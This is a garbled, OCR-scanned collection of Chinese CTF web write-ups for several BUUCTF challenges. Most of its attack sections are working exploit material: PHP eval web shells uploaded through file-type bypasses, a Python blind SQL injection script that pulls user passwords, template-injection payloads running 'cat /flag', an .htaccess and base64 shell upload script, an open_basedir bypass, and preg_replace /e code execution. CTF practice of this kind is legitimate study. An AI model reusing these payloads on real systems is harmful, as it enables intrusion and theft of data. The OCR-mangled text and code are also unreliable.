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A IR KB — A, A% 5 89 phtmIBl AT

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTM Render

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: texthtml, i 1 |+, i 1 =0.9 **0=08

Accept-Language: zh-Ch zh,g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipartform-data; boundary=----------mmmeemeeeee-o; 5012347716015
Content-Length: 357

2rigin: hitp: /741 feBes-fe33-4155-97d2-03f0d0eee1 1 d.node3 buuoj.cn

Connection: close

Referer: hitp: /741 fefic5-fo33-4f55-91d2-03f9d0eee 1d node3 buuoj.cni
Upgrade-Insecure-Requests: 1

----5012347716015
Content-Disposition: form-data; name="upload_file"; flename="a.phtml"
Content-Type: imageijpeg

(GIF89a
script language="php"=@eval($_POST[pass'l) </script=

=g Aphtml

----5012347716015
Content-Disposition: form-data; name="submit"

upload
............................. 5012347716015--

% Liysl, Bpwe1gEiflag

- 0111.73.46.229
B imiE: [flag

[flag

1 flag{984ba661-d5a7-45d@-9856-3b3cldbcadl4}
2

[ #I# 2019]easy_serialize_php

ST I, EFETwp

POST [HTTPH A A
Host: 741 fefic5-fc33-4155-9fcl2-0319d0eee11 d.node3 buuoj cn r

©2.369-1 613 4 725-3.247 7.086-4.874c0.473-0.3250.651-0 772,0 5251 338¢-0.091-0 433-0.360-0.79-0.703-0.757
c-0.429,0.026-0.858,0.21-1.245 0 443c-0.699,0.564-1 736 1 1958-2 625,1 804c-0.794,0.555-1.589 1 .108-2 388,1 658
c-0.772,0.534-1 678,0 551-2.419-0.02c-1.791-1 381-3.56-2.781-5.33-4 185¢-0.543-0.429-1 167-0429-1 71 0
c-1.771,1.404-3541 2 804-5.328 4.181c-0.742 0.575-1 648,0 562-2.425 0.024c-1 553-1 146-3.304-2.295-4 958-3.439

©-0.204-0.143-0.413-0.278-0.636-0.376c-0.814-0.355-1.507 0.114-1 61,1 089C48 567 49.361 48.733 40 747 40 028 49 956z

MBS 706 B9 17c1 593-1 088 3.174-2 148 4 762-3.23c0 433-0 293,0 533-0.718,0.451-1 198c-0 075-0.439-0 345-0 77-0 751-0.783
©-0.331-0.012-0712,0.114-0.997 0.283c-0.946 0.599-1 859 1 252-2 787 1 B78c-0.884,0.597-1.77,0.554-2.615-0.106
©-0.826-0.729-1 854-1 457-2.781-2.18¢-0.52-0.405-1 .094-0.403-1 £19,0.008¢-0.927 0.722-1.851,1 448-2.779,2.176
c-0.841,0.661-1.728,0 694-2.615,0.096c-0.913-0.617-1.818-1.245-2 732-1 857c-0.725-0.484-1 3-0 452-1 658,0 066
c-0.386,0.562-0.22 1 265,0 432 1.712c1.502,1.037,3.008,2.06,4.521 3.081c0.596,0.396,1.035,0.361 1 .624-0.082
c0.955-0717,1 889-1 463 2 §45-2 173c0.768-0.572 1 585-0 .569,2 355,0 003c0 96 0.716,1 B35 1 462 2 654 2174
€0.232,0.1730.526,0 271 0.757,0.399C60 262,59.355 59 511 69,304 60.708,60.1 72"

<lg>

<lsvg=

<div class="ight"><span class="glow">
=form enctype="multipart/form-cata" method="post" onsubmit="return checkFile()"=
R, R IE T
=input class="input_file" type="file" name="upload_filz"f>
<input class="button" type="submit" name="submit" value="upload"/=
<iforms
=fspan=<span class="flare"=</span==div=

<dliv=

<dclive

=div style="color #FDD"*JpInnd Success! Look here~ ./upl
=<lhtmi=

12£2b7d720 1.phtididiv<tody>
]




<?php
$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag', 'php5', 'phpad','flig');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,"'',%$img);

if($_SESSION){
unset($_SESSION);

$ _SESSION["user"] = 'guest';
$_SESSION[ 'function'] = $function;

extract($_POST);

if(!$function)q{
echo '<a href="index.php?f=highlight file">source_code</a>";

if(!$_GET['img_path']){
$ SESSION['img'] = base64_encode( 'guest_img.png');
telse{
$_SESSION['img'] = shal(base64_encode($ GET['img_path']));

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){

highlight file('index.php');
}else if($function == 'phpinfo’){

eval('phpinfo();"'); //maybe you can find something in here!
}else if($function == 'show_image'){

$userinfo = unserialize($serialize_info);

echo file_get_contents(base64_decode($userinfo['img']));

B e B A& phpinfo H4 ?f=phpinfo

‘ PHP Version ‘ 7.0.33 ‘
| preaw [ tealvake [ Mastervabe |
allow_url_fopen On On

allow_url_include Off Off

arg_separator.input & &

arg_separator.output & &

:Ilao_append_ﬁle d0g3 flag.php d0g3 flag.php

auto_globals jit On On

auto prepend file no value no value

browscap no value no value

default charset UTF-8 UTF-8

default mimetype text/html text/html




FERRBFHET SHKERE, FHNENRSSHSTIHNERES S, B —SAFRE,

TAIF HA B post—1:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

phpflaghi B #: N =5, $serialize_infolfI A& N
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMMWFnLnBocA==";1}";s:3:"img";s:20:"Z3V1c3RfaWlnLnBuZw==";}

W3 42 /5 THI 25 A% BRI img 38 43 B 4

BA3: BASEG4:

d0g3_flagphp RASEGASEE 5 ZDEnM19mMWFnLnBocA==

< BASEG4HFTS

G @ ‘ # 16fd8796-02d1-4aa8-809b-ceeb28f41f79.node3 buuoj.cn/index.php?f=show image -

eSS SRR @ FFL% [ IEssyems. ) IS -SIFsEs. © S92 @ pTA | EEarEsk. o
{?php

$flag = 'flag in /d0g3_rfllilllag’;

2>

B J5POST#EAZ: SESSION[phpflag]=;s:1:"1";s:3:"img";s:20: "L2QwZzNfZmxsbGxsbGFn"; }

RS BASEG4:

/d0g3_fllllllag = L2QwZzNfZmxsbGxsbGFn
BASEGASRS >
<€ BASEGAIETS

< ¢ @ ‘ © £ 6-02d1-4aa8-809b-ceeb28f41f79.node3 buuogj.cn/index.php?f=show image

Humssts EEERLE @ HELE (P mIEsSyams. ) S -SImss. © S2E @ PTA | 2EESEas.
flag{11313c86-ec94-4ae1-a6f5-2eeffdee803d}

Z%: EWZ: LA 2019]easy_serialize_php
[Z#f)#F 2019]easy_serialize_php
[BJDCTF2020]Mark loves cat

FHERE, BEARAE, BwpRKI Lt


https://www.cnblogs.com/wangtanzhi/p/12261610.html
https://blog.csdn.net/chasingin/article/details/104189711

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = 3y;
}

foreach($_GET as $x => $y){
$$x = $%y;
h

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GETZr #ifef Lag RfiEfé—1f Lag=flag
exit($handsome);

}

}

if(lisset($_GET['flag']) && !isset($_POST['flag'])){ //GETHIPOST B 7.2 — i Zifef Lag
exit($yds);

¥

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GETHIPOST f£fLag, M1 EE42f Lag=fLag
exit($is);

¥

echo "the flag is: ".$flag;

eSS B i 1 i f
EHeRAIpostlti: $flag=flag, HAMENT $$flag=flag
gettE BN yds=Fflag IXFEREE VRS HAT LUS MR T $yds=$flag; X EKI$fag Efiflag, IA$Sx=$Sy, HEtRE
$yds=flag{XXXXXX}.
X
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);



EP A% Hi$yds, Aflag

G @ ‘&' v-source:http://4c451303-a652-4853-a4e2-51b5db95d4ce.node3.buuoj.cn/?yds=flag

JlEAES OSERL @ FEiiE ([ wiasssems. () SN -SEs. © =22 @ rTa | 2EasEnk. @

— = e
<{script src="assets/js/jquery. js"><{/script>

{!——Isotope script load——*

<{script src="assets/js/isotope.pked. js"></script>

!—— magnific popup script load——*

<{script src="assets/js/jquerv.magnific-popup. is"»<{/script>
{!-—way point script load——*

<{script src="assets/js/waypoints.min. js"></script>
{!——line progress bar script load——*

<{script src="assets/js/circle—prosress.min. js"><{/script>

{!—— counter up script load——*
<{script src="assets/js/typed. jz"><{/script>
{!—— typed script load——*

¢{script src=assets/js/jquery. counterup. min. js"»</script>
!—0wl carousel script load—>
<{script src="assets/js/owl. carousel.min. js"></script>
!—Image load script —>
<{script src="assets/js/imagesloaded. pked. js"></script>
¢!—FBootstrap v3 script load here—>*
<{script src="assets/js/bootstrap.min. js"></script>
!—Slick Nav Js File Load—>*
<{script src="assets/js/jquerv. slicknav. min. js"></script>
!—Wow Js File Load—>*
{script src="assets/js/wow.min. j="></script>
!—Wow Js File Load—>*
<{script src="assets/js/scrollspy. i="></script>
!—Main js file load—>
{script src="assets/js/main. js"></script>
</body>
</html>

flag{76cbce21-53ce—-4d16-bh0e—-Tbf73026c635}

[CISCN2019 = ¢ 3% Day2 Web1]Easyweb
#FZErobots. 3 2 B
&« G @ © £ 9ab2997c-d180-475a-997b-cd035771b930.node3.buuoj.cn/robots.txt

Buamsrss BEERL @ HiFtk (P Flssseims. O EK] -SIFgs. @ S2E @ P | EFEgiissis..

User—agzent: *
Disallow: *. php. bak

BB, Bwp K Zimage.php.bak



< ?php
include "config.php";

$id=isset($ GET["id"])?$ GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id:Str‘_r‘eplace(ar‘r‘ay("\\0", u%eeu’ II\\I ”; " u)) " ”,$id);
$path=str_replace(array("\\0","%00","\\"'",""'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path="{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];

header("Content-Type: image/jpeg");
readfile($path);

addslashes

(PHP 4, PHP 5, PHP 7)
addslashes — FHAR LS | B=FE

15EH

addslashes ( string $str ) : string

REIF5E, EFEFRATHIEESRESOENEEAEE=AE0E TREE, XE=FE85|E () . WEIS
(") . =L (1) ENUL (muL =55 .

—/ &M addslashes() 89| 7 2LFEFEEERH AU, 0, F5E= O'reilly ) JEEEF, XFES
HitiTH Y., IEZIENEA DBMS EEREE MRS (Hkdn MySaL 2 mysqli_real_escape_string(), PostgreSQL 2
pg_escape_string()) , {EEWME{REAE DBMS ieE— 1V ERH, HEEA | FREVEHFS, FolLUERRXS
HRE, (VNEATHREUENEUEENEIE, T | Fr24E . 2 PHP 84 magic_guotes_sybase #i2Erk on
B, EEREN FHEER TR,

XFERGSHT T EIE, TEMERGIS, FUIRATA \o kRENHERHEG 5. \e £idaddslashes L/ \\o RFET
str_replace %, &R\, XH, RTIAEHRRTISEEXT .

select * from images where id='\' or path=' or 1=1# Vil 2%

T A T -



import requests

url = "http://9ab2997c-d180-475a-997b-cd@35771b930.node3.buuoj.cn/image.php"

result =

for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload = " or id=if(ascii(substr((database()),%d,1))>%d,1,0)#" % (x, mid)

#payload = " or id=if(ascii(substr((select table_name from information_schema.tables where table_schema=
database() limit 1,1),%d,1))>%d,1,0)#" % (x, mid)

#users

#payload = " or id=if(ascii(substr((select column_name from information_schema.columns where table_name=
0x7573657273 Limit 1,1),%d,1))>%d,1,0)#" % (x, mid)

#password

payload = " or id=if(ascii(substr((select password from users limit ©,1),%d,1))>%d,1,0)#" % (x, mid)

params = {

‘id':"\\e',

‘path’ :payload
}
response = requests.get(url, params=params)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

result += chr(int(mid))
print(result)



BE|BAY: febe5fb688d9a417des7 BT K I LI FiE
FAAR o ¥F LA phpi SC k4, BATH phpE Rk -

<?php @eval($_POST['a']);?> AILAFH <?=@eval($_POST['a']);?> KB . X4, B ANAE ST E, REHEN

B,
MEfEA

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLTRender]

POST fupload php HTTRA 1
Host: 9ab2997c-d180-475a-997k-cd035771h930 node3 buucj.cn

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html licationixhtml+xml tioniomlg=0.9 **g=0.8

Accept-Language: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Contert-Type: multipartiform-data; boundary=---------mememmmmemeeee 18691991 225667
Contert-Length: 330

Origin: http: 9ak2997 c-d180-475a-997b-cd035771b930 node3 buuoj.cn

Connection: close

Referer: http://9ab2997c-d180-475a-997b-cd0357 710930 node3 buuoj.cniuser php

Cookie: username=0ESFDxd %30

Upgrade-Inzecure-Requests: 1

............................. 18691991 225667
Content-Disposition: form-data; name="file"; flename="<7=@eval(§_POST['a']);7="
Contert-Type: textiplain

=7=@eval(§_POST['a]), 7=
............................. 18691991 225667
Content-Disposition: form-data; name="submit" {Eﬁﬁﬁ*ﬁﬂm
Submit

............................. 18691991 225667 --

WS ERE, BUATCAER B %18 Flflag

HH [0111.73.46.229
9 i&548: /flag

[flag

1 flag{782c8316-9767-4ee1-9918-591991cabfoa}
2

%

HTTPA .1 200 OK

Server: openresty

Date: Thu, 19 Mar 2020 13:11:21 GMT
Content-Type: text/html
Contert-Length: 157

Connection: close

Vary: Accept-Encoding
¥-Powered-By: PHP/S .5 9-Tubuntud 29

Iloegged the file name you uploaded to log load.524a:
LOL=script=setTimeout({'location.href="user.php',3000);=/script=

Mustapha Mond : FIfEiZ3%: [CISCN2019 & #%% Day2 Web1]Easyweb

EMZ: [CISCN2019 % P3% Day2 Web1]Easyweb
[BJDCTF2020]The mystery of ip

XFFkHsstifitRiEN, %, FHwp

EJDCTF Flag | Hint

BHHRERK—NEEHM: X-Forwarded-For: test

Request
[ = = s

Your IP is :
174.0 222 15

Response
[~ ————— = ———— —————

1b187189ba%d6éec.log.php.

@Shana


https://www.cnblogs.com/20175211lyz/p/11481476.html
https://www.cnblogs.com/wangtanzhi/p/12253918.html

J Haw | Heagers | Hex |

J Haw | neagers | Hex | HiML | Henaer ‘

GET Mlag.php HTTPH A A <li clags=""><a href="flag php">Flag</a></i>
Host: node3 buuoj.cn27162 a <li class=""=<a href="hint php"=Hint=/a=</li=
User-Agent: Mozilla/3.0 (Windows MT 10.0;, WinG4, x64; rv:71.0) Gecko/20100101 Firefox/71.0 =iul=
Accept: textmtml ehtmil+ml el g=0.9 1% =0 8
Accept-Language: zh-CN zh;g=0.8 zh-TW,q=0.7 zh-HK;g=0.5 en-US;g=0.3 eng=0.2 =ul class="nav navbar-nav navbar-right ul-head2">
Accept-Encoding: gzip, deflate <li class=""==a href="index php"=@Shana</a==/i=
Connection: close <ful=
rade-Insecure-Reqguests: 1 <fliv=
<feliv=
ontrol: max-age=0 =inav==div class="container pansl1"=
=div class="row">
=dliv class="col-md-4">
<fdiv=
=div class="col-md-4"=
=div class="jumbotron pan"=
=dliv class="form-orouo log®
<Iabel:<l12 =h2==Nabel=
<icliv=
<fdiv=
<fdive
=div class="col-md-4"=
<fdiv=
<fdiv=
<idiv=
</body=
</htrl>
3
AT, ABIFLEMATIER T X-Forwarded-For: {{system('1ls')}}
Request Response
Raw | Headers | Hex J RawT Headers | Hex | HTML T Render ]
GET flag.php HTTPA 1 A <felive
Host: noded buuoj.cn 27162 ™ =ldiv=
User-Agent: Mozillais.0 (Mndows NT 10.0; Wing4; x64; rv:71.0) Gecko/20100101 Firefox/71.0 <inav=<div class="cortainer panel1">
Accept: texthtml application/xhtrl+xml applicationfoml g=0.9 **g=0.5
Accept-Language: zh-CN zh;g=0 8 zh-TW.g=0.7 zh-HK, g=0.5 en-US;g=0.3 en;g=0.2 <div class="col-md-4"=
Accept-Encoding: gzip, deflate <leliv=
Connection: close =tliv clasg="col-md-4">
Upgrade-Insecure-Requests: 1 <tliv class="jumbotron pan"=
H-Forwarded-For: {{system('ls') }}] =div class="form-group log"=
Cache-Control max-age=0 <label=<h2=Your IP is : bootstrap
HiTsystem('ls")
header.php
hint.php
img
index.php
jquery
libs
templates_c
templates_c =h2==/lahel=
<jeiv=
BRGTEMR B F52flag, X-Forwarded-For: {{system('cat /flag')}}
GET iMlag php HTTPA 1 ] <li class=""><a href="hint php"=Hint=/a=</i=
Host: node3 buuej.cn: 27162 a <lul=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: textitm Whtmi+xmi 1l g=0.9,* =08 <ul class="nav navhar-nav navhar-right ul-head2"=
Accept-Language: zh-CN,zh;g=0.8 zh-TW;q=0.7 zh-HK;g=0.5 en-US;g=0.3 en;g=0.2 <li class=""=<a href="index php"=@Shana</a=</i-
Accept-Encoding: gzip, deflate =fl=
Connection: close <ldliv=
Upgrade-Insecure-Reguests: 1 <feliv=

¥-Forwarded-For: {{system{'cat i‘ﬂag')}}l
Cache-Cortrol: max-age=0

[SUCTF 2019]EasyWeb

ARE g T IR

<inav==div class="container pans"=
=div class="row"=
=div class="col-md-4">

=feliv>
=div class="col-md-4"=
=div clas: mbotron pan”=

=div class="form-group log"=>
<label=<hZ=Your IP is : flag{69154f22-a962-4245-8a90-0a%e3e80cetd)
Tlag{69154122-a962-4245-8a90. } «h2=<Nakel>
=fdiv=




<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER[ 'REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(lempty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("~_~");
if(mb_strpos(file_get contents($tmp_name), '<?')!==False) die("~_"");
if(lexif_imagetype($tmp_name)) die("~_~");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);

}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE_ );
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x@0- 0-9A-Za-z\'"\"~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

&5 S T B S35

1. RIGHEE 5 SHERFEHENENFRF S
phpi1 & #AsPE“Use of undefined constant’, MG H&E 5 SHFHEMBNMEAFR &, 7T2HGERHEHEER, A
HREFEE .
W2 $_GET['cmd'] A1 $_GET[cmd] &R LA

2. AscCiilg KT OX7F B E S S E R/ 8, TR OXFF BEUE Y THUR, 7T bAgsid i v i B R %55

3. PHPH IR RFE S (TEHE 5 () £ /#
$str{a} EFHFENBZENEER ERFESHREFHES) BEEES THY, XEREFHFETEYRIEALE.
HAER ${_GET}{cmd}


https://blog.csdn.net/ityang521/article/details/60609499

(Embed) P $157(Run) ==

<?php

urldecode(

w5 A

P =S { %FfUtFUtfiff %a0%b8%ba%ab | {%ff} () ; &%ff=phpinfo
P _=S{ U FfUF U fff%a0%b8%ba%ab t {7%FFf} () ; &%ff=get_the_flag

‘@ # node3.buuoj.cn/?_=${%ff% %% %a0%b8%ba%ab}{%ff}();&%ff=phpinfo ~ & -« {.‘r| in @0 ©
b#Hrtls (P TESssams. ) BN SRS, © S8 @ rTa | EEaissit.. @) &g © Nessus Essentials /F.. © B

‘php

System Linux ab19167a7ecd 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020 xB6_64

Build Date Aug 12 2019 19:34:28

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path fetc/php/7.2/apache2

Loaded Configuration File fetc/php/7.2/apache2/php.ini

Scan this dir for additional .ini files fetc/php/7.2/apache2/conf.d

Additional .ini files parsed fetc/php/7.2/apache2/conf.d/10-opcache.ini, /etc/php/7.2/apache2/conf.d/10-pda.ini, fetc/php
/7.2{apache2/conf.d/20-calendar.ini, fetc/php/7.2/apache2/conf.d/20-ctype.ini, fetc/php/7.2/apache2
fcont.d/20-exif.ini, /etc/php/7.2/apache2/conf.d/20-fileinfa.ini, fetc/php/7.2/apache2/cont.d/20-ftp.ini,
fetc/php/7.2/apache2/conf.d/20-gettext.ini, /etc/php/7.2/apache2/conf.d/20-iconv.ini, /etc/php
/7.2/apache2/conf.d/20-json.ini, fetc/php/7.2/apache2/conf.d/20-mbstring.ini, fetc/php/7.2/apache2
fcont.d/20-phar.ini, fetc/php/7.2/apache2/conf.d/20-posix.ini, fetc/php/7 2/apach=2/fconf.df20-
raadlina ini fatr fnhedT HMamacrhaPiranf A0 chrman in fotefinhe /T 2lanacrha? frnnf A FNocncl-ate ini

2 JEEt R _EtEgetshell T, phpfRA N7 2F7LA, REEH <script> #8880 <» MR T, f#Abase644migsiid, 4% htaccess:

#define width 1

#define height 1

AddType application/x-httpd-php .abc

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.abc"

5 P8 B A b A% -
X B GIF89a)5 MM 12R 4 T 4 B84 F T, i 2 base64% i i 3 W




import requests
import base64

htaccess = b"""

#define width 1337

#tdefine height 1337

AddType application/x-httpd-php .abc

php_value auto_append file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6
abc3cab0892ef304e/shell.abc™

shell = b"GIF89al2" + base64.b64encode(b"<?php eval($ REQUEST['a']);?>"
url = "http://e@ddfflc-0e40-477c-9983-2527568ece3b.node3.buuoj.cn?_=${%fekfekfekfe %alkbo%bb%aa}t{%fe}();8&%fe=get
_the_flag"

files = {'file':('.htaccess',htaccess, 'image/jpeg’

data = {"upload":"Submit"

response = requests.post(url=url, data=data, files=files
print(response.text

files = {'file':('shell.abc',shell, 'image/jpeg’
response = requests.post(url=url, data=data, files=files
print(response.text

ct -

CTF 2019]EasyWeb.py

=rnal Libr

atches and (

B&JE—%: Zidopen basedir/disable_function, bypass open basedirftl#i 5, &% IH{E K &=


https://xz.aliyun.com/t/4720

open_basedir&php.init i) — At B 1% 5

B ALK P 18] SO B35 30 3 [ R 1) 7E i e R X 35k

& #open_basedir=/home/wwwroot/home/web1/:/tmp/,

IR 458 web 115 i AR 5523 9 Pk TovE SR BUIR 55 3% £ BR T /home/wwwroot/home/web 1/F1/tmp/iX FE 4> B 3 PA AN ST A
VE = Fopen_basedirtg 5 i PR il S2br_E R BT4R, A2 H %4 .

28453k i #5"open_basedir = /dir/user", #4 B3 “/dir/user” F1 "/dir/user1"#% & T L 15 .

BT A SR B 9] FRIENCHIR B 1 B 3%, BRARIERSRER4 .

BT kA& F payload#kflag:

?a=chdir('img');ini_set('open_basedir',"'..");chdir("'..");chdir('..");chdir("'..");chdir("'..");ini_set('open_based
ir',"/");print_r(scandir('/"));

<« ¢ o ‘O # r(.ehdirCYehdin()ehdir(L)ini_set('open basedir,'/yprint_r(scandir(/); ~ EE e+ 1}| mweoh e a & & ¢ 0 é)
Eumesiss EEEN @ FFEHE (P WTaSsshms. () [EK) -ShFEss. © SER @ PTA | BFSrETh. &) & ) Nessus Essentials /F.. ) BE » (BR8N BE

GIF89a12PD9waHAQZXZhbCgkX1JFUVVFUTRbJ2EnNXSk7Pz4=& @ @vArray ( [0] => . [1] => .. [2] => .dockerenv [3] => THis Is tHe Fl14g [4] => bd build [5] == bin [6] => boot
[7] == clean.sh [8] => dev [9] => etc [10] == home [11] => lib [12] == lib64 [13] => media [14] => mnt [15] => opt [16] == proc [17] == root [18] == run [19] == sbin [20] =>
srv [21] == sys [22] == tmp [23] == usr [24] == var)

tEflag

?a=chdir('img');ini_set('open_basedir','..");chdir("'..");chdir('..");chdir("'..");chdir("'..");ini_set('open_based
ir',"/");print_r(file_get_contents('/THis_Is_tHe_Fl4g'));

&« 3 |® # r(.%ini_set(open_basedir','/);print_r(file_get contents(/THis _Is tHe F14g7); ~ &8 == {,}‘
Euaesits BeEm @ FFLE (P Flassssrs. () (S -SIMEs. @ S92 (@ PTA | SE8rEai.. @ o @ Nes
GIF89a12PDIwaHAgZXZhbCgkX1JFUVVFUTRbIZEnXSk7Pz4 =@ @vilag{f36abbf3-5722-44d8-875c-f665defab099}

S%.

Mustapha Mond : Fl@i23: [SUCTF 2019]EasyWeb(EasyPHP)
SUCTF 2019 Easyweb

Cycle: 2019 SUCTF Web writeup

EmWz: [SUCTF 2019]EasyWeb

[V&N2020 A FF %&£ ]HappyCTFd

fEuser® R Fadmin, 2R ZEE2EMFHadmingx, SHwpH
FIR T2

—

- MRS IMEE S REREMN — A5 2FEH P B ERKKS
2. ARG IEE R KA R A CRIERAE

3. K H TS K P 44 S5 g B & A AR R 9 A P 44

4. PR AE AW E) 0 B E R RS D AT .

B SEAE A T — A ERAE K S

<« [N} @ £ mailbuuoj.cn/admin/ui/user/signup/mail.buucj.cn B e Py nNoen® s F) é}
Bxamesits SRt @ HFFEHE [F WTASSSREE. () [EK] -SiREs. © 582 @ PTA | EEar#Esi.. @9 & @ Nessus Essentials /F.. @ EE » [(HiRstnss

— BUUCTF S|gn UP mailbuugjen



https://www.cnblogs.com/20175211lyz/p/11488051.html
https://github.com/team-su/SUCTF-2019/blob/master/Web/easyweb/wp/SUCTF%202019%20Easyweb.md
https://www.jianshu.com/p/fbfeeb43ace2
https://www.cnblogs.com/wangtanzhi/p/12250386.html

Email address

bmth666 @mail buuoj.cn

Password Confirm password

Sign up

FEEM AL A Fadmin FEM, 2SR

Register

User Name

admin |

Email

Password

Powered by CTFd

FE B SRAL I B B Y

Reset Password

Email

bmth&66@mail.buuoj.cn|



Ki&5EJE B H QK S B K

Settings

Access Tokens 111N

Email

FEERAE W R P hk, B S A5 B AT B eadminiik 7,

roundcube @

+ m". ‘,A ‘,}S'v $-'v ﬁ v ﬁ ﬁ _,. (XX}
7.3

=[] REFTRRE mE= EE=2 Wi =il 16D fova izl R EF
(W Message from MiaoCTF
/‘ =iaE EHA  happyctfd@mail.buuoj.cn
A, bmthe6e6@mail.buuoj.cn e
E i HEH %X 13:40
3 s . . ;
Did you initiate s password reset? Click the following link to reset your passwerd:
]
[W=: =i

http://f0cfB61e—a875~4cde~E4B4—2ERddeB102a5. noded. buuoi. en/rezet paszword/InFkbWlulp InRYWA v fGwlllJpPAzAR]lQmAbERAmb—w




RIEMREAag T, BEHE]T —Amiaoflag .ttt CfF, T HENAIE R flag

Misc
standard

 hidden
100 points

Em

Solves Flags Files Tags Hints Requirements Name
Challenge Mame
Files flagflag//F7EH
Category
File Settings Challenge Category
miaoflag.txt b 4 Misc

Jls | FesiETE Message

5%
CVE-2020-7245 CTFd v2.0.0 — v2.2.2 account takeover4tr
[V&N2020 AFF 3]

[BJDCTF2020]ZJCTF, Aidimik

uls1, 1R#, MZJCTFH KK BAEMRB, 4l T IRI:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get contents($text, 'r')==="I have a dream")){
echo "<br><h1>".file get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");

include($file); //next.php

}
else{

highlight file(__FILE_ );
}


https://www.colabug.com/2020/0204/6940556/
https://www.cnblogs.com/W4nder/p/12390204.html

5 P O MLE AR

>text=php://input SRJGPOSTH IR | have a dream B3 ?text=data://text/plain,I have a dream

&file=php://filter/convert.base64-encode/resource=next.php

$k#8next.phpiibase644mi%

BE:

<?php

$id = 5_GET[idT;
§_SESSION[id] = $id;

function complex(3re, str) |
return preg_replace(
. gre . )lefl,
‘striolower(™\1",
Sstr
%
}

foreach(%_GET as Sre == sir) {
echo complex($re, $str). "in";

}

function getFlag(){
@eval($_GET[cmd]);
}

Ewp R IR preg_replacel/elRiR
2\S*=xxxxxx X J TH K100k 2 B 24 1 Ay S AT

FEA: [ E % K getFlages %

?\S*=${getflag()}&cmd=show_source("/flag");

-i(;:- C

BASEGASRES »

< BASEGARES

BASEG4:

PD9waHAKJGIKIDOgJFSHRVREJ2IkJ107CIRFUOVTUDIPTIsnaWQnXs

ASICRpZDsKCmZ 1bmMN0aWIuIGNvbXBsZXgoJHJILCAke3IRYKSBTCi
AglCByZxXR1cmdgcHJIZ19y ZXBsYWNIKAogl CAgICAgICovKCegLifke
mUgLiAnKS9la5csCiAglCAgICAGIINOenRvb GI3ZX ol becMSIpJywkIC
AgICAgICAkc3IRyCiAgICApOwpSCookZmIyZWFjaCgkX0dFVCBhoyA
kemUgPT4gJHNOcikgewoglCAgZWNobyBjb2 1whGVAKCRyZSwgJHN

DcikulCJebil7 CnOKCmZ 1bmN0aWIuIGdIdEZ s Y WeoKXsKCUBIdmFsK
CRROVUWydbWQnXSk7Cn0K

|® # node3.buuoj.cn/next.php\S*=${getflag(}&cmd=show source("/flag™);

Byaiesss DR @ FXtl (P mlaessskms. O S -StRsEs. @ S22 @ 1A | BEgis

flag {5c918060-0854-4ee3-974c-7a24e92243F1}

show_source("/flag™);

T k2: ﬁ])ﬁpostﬂ%%%



?\S*=${eval($_POST[pass])}
POSTHAL :
pass=system("cat /flag");

flag{5c918060-0854-4ee3-974c-7a24e9a242f1}

O O Oss Dl NEs (Jesss O Orr B2 w

Encryption ~ Encoding ~ SQL~ XSS~ Other -

g Load URL http://d3a2d5d4-809a-421e-9492-9bdebabc25c0 node3 buuoj.cn/next php

) SpltURL 7S*=%{eval(3_POST[pass])}
pli

| Execute
Postdata [] Referer [] User Agent [] Cookies Clear All

pass=system("cat /flag");

SR WA R preg_replace 5L IHAT

[BJDCTF2020]Cookie is so stable


https://xz.aliyun.com/t/2557

e, BwpXRE—ANTwighitRiEA
WA {771}

BJDCTF  Flag  Hint @Shana

Hello 49

MARIMBEE KIEN B Zuser
Jifi & i) payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};

Request Response

